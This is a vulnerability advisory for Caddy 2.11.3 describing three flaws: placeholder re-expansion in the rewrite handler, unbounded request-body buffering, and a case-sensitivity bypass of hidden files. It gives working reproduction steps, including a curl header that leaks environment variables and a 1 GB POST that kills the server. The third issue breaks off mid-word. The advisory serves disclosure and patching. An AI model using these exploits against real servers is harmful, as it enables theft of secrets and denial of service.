Résumé

Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass

Détails de l’avis

Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer

Tested against: caddy:2.11.3 (official Docker image, SHA verified at runtime) Reproduction environment: Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits

This advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified caddy:2.11.3 image with the minimal Caddyfile that the documentation suggests for the affected feature.


Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure

File: modules/caddyhttp/rewrite/rewrite.go:215-249 and buildQueryString at 327 Class: CWE-94 (Code Injection), same bug class as CVE-2026-30852 (vars_regexp) Severity: Low (requires operator config with trailing ? in rewrite URI)

Root cause

When the operator's rewrite URI template:

  1. Contains a placeholder that resolves to request data (e.g. {http.request.header.X-Foo}), AND
  2. Ends with a literal ? (with empty query side)

…then the bytes produced by the first Replacer pass (which include attacker-controlled header values) are fed through buildQueryString, which runs a second Replacer pass and resolves any placeholders the attacker injected.

// rewrite.go (abridged)
newPath = repl.ReplaceAll(path, "")            // pass 1 — header expanded
if before, after, found := strings.Cut(newPath, "?"); found {
    var injectedQuery string
    newPath, injectedQuery = before, after
    if query == "" {                            // trailing-? branch
        query = injectedQuery                   // attacker bytes flow into 'query'
    }
}
if query != "" {
    newQuery = buildQueryString(query, repl)    // pass 2 — RE-EXPANDS attacker input
}

This is the same gadget that was patched in vars_regexp (CVE-2026-30852). The fix did not extend to rewrite, and there is no equivalent regression test for it in rewrite_test.go (compare vars_test.go:63,69,75).

Reproduction (real Caddy 2.11.3)

Caddyfile:

{
    admin off
    auto_https off
}

:8080 {
    rewrite * /serve/{http.request.header.X-Fwd}?
    respond "PATH={path} QUERY={query}"
}

docker-compose.yml:

services:
  caddy:
    image: caddy:2.11.3
    environment:
      DATABASE_URL: "postgres://leaked:supersecret@dbserver/production"
    ports: ["8080:8080"]
    volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]

Exploit:

$ docker compose up -d
$ curl "http://localhost:8080/anything" -H "X-Fwd: foo?{env.DATABASE_URL}=leak"
PATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak

URL-decoded query: postgres://leaked:supersecret@dbserver/production=leak. The DATABASE_URL env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via reverse_proxy, and be readable via {http.request.uri.query} in any downstream handler.

Available read primitives

The same gadget exposes any placeholder the attacker can name in their injected substring:

  • {env.X} — any env var on the Caddy process
  • {file./path} — any file readable by the Caddy process (if file provider is registered)
  • {vars.X} — Caddy-internal request variables

Suggested fix (mirrors the CVE-2026-30852 patch)

After splitting at ?, sanitize placeholder syntax in the injected query before passing it to buildQueryString:

if before, after, found := strings.Cut(newPath, "?"); found {
    var injectedQuery string
    newPath, injectedQuery = before, after
    if query == "" {
        injectedQuery = strings.ReplaceAll(injectedQuery, "{", "%7B")
        injectedQuery = strings.ReplaceAll(injectedQuery, "}", "%7D")
        query = injectedQuery
    }
}

Also recommend adding equivalent regression tests in rewrite_test.go to the three "is not re-expanded" tests in vars_test.go.


Issue 2: Unbounded body buffer via {http.request.body} placeholder — memory exhaustion DoS

File: modules/caddyhttp/replacer.go:217-245 (placeholder resolution for http.request.body) Class: CWE-770 (Allocation of Resources Without Limits) Severity: Moderate (any operator using the documented log_append body {http.request.body} pattern is vulnerable)

Root cause

When any handler references the {http.request.body} placeholder, the replacer code path reads the entire request body into a byte slice via io.Copy(buf, req.Body) with no LimitReader wrapping. The needsEarly flag bypasses the request_body middleware's size limit, because the placeholder is resolved before that middleware sees the request.

This means an attacker can send a request body of any size (up to whatever Content-Length they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.

Reproduction (real Caddy 2.11.3, 512 MB container cap)

Caddyfile:

{
    admin off
    auto_https off
}

:8080 {
    log_append body {http.request.body}
    respond "OK, length received: {http.request.header.Content-Length}"
}

docker-compose.yml:

services:
  caddy:
    image: caddy:2.11.3
    mem_limit: 512m
    memswap_limit: 512m
    ports: ["8080:8080"]
    volumes: ["./Caddyfile:/etc/caddy/Caddyfile:ro"]

Exploit (Windows PowerShell):

PS> fsutil file createnew big.bin 1073741824
File C:\caddy-verify\test3-body-dos\big.bin is created
PS> curl.exe -X POST --data-binary "@big.bin" -H "Expect:" --max-time 120 http://localhost:8080/
curl: (28) Operation timed out after 120010 milliseconds with 0 bytes received

Container state immediately after:

PS> docker ps -a --filter name=caddy-verify-3
CONTAINER ID   IMAGE         STATUS                       NAMES
7f8ba392e7b5   caddy:2.11.3  Exited (137) 2 minutes ago   caddy-verify-3

PS> docker inspect caddy-verify-3 --format "ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}"
ExitCode=137 OOMKilled=true

OOMKilled=true is dispositive — the Linux kernel's OOM killer fired. Caddy's logs cut off cleanly after "serving initial configuration" with no error message, which is the signature of a process killed mid-allocation by SIGKILL.

A small body works fine:

$ curl -X POST -d "hello world" http://localhost:8080/
OK, length received: 11

Real-world exploitability

The log_append body {http.request.body} pattern is in Caddy's documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like expression {http.request.body}.contains('admin'), custom header forwarding with header_up X-Original-Body {http.request.body}, and any third-party module that resolves the placeholder.

Container memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.

Suggested fix

Wrap the body read with a LimitReader keyed off either:

  1. The operator's configured request_body.max_size (if set), or
  2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.

If the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.


Issue 3: fileHidden() case-sensitive pattern bypass — exposes "hidden" files via case variation

File: modules/caddyhttp/fileserver/staticfiles.go:669-718 (the fileHidden function and filepath.Match call) Class: CWE-178 (Improper Handling of Case Sensitivity) Severity: Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)

Roo

Références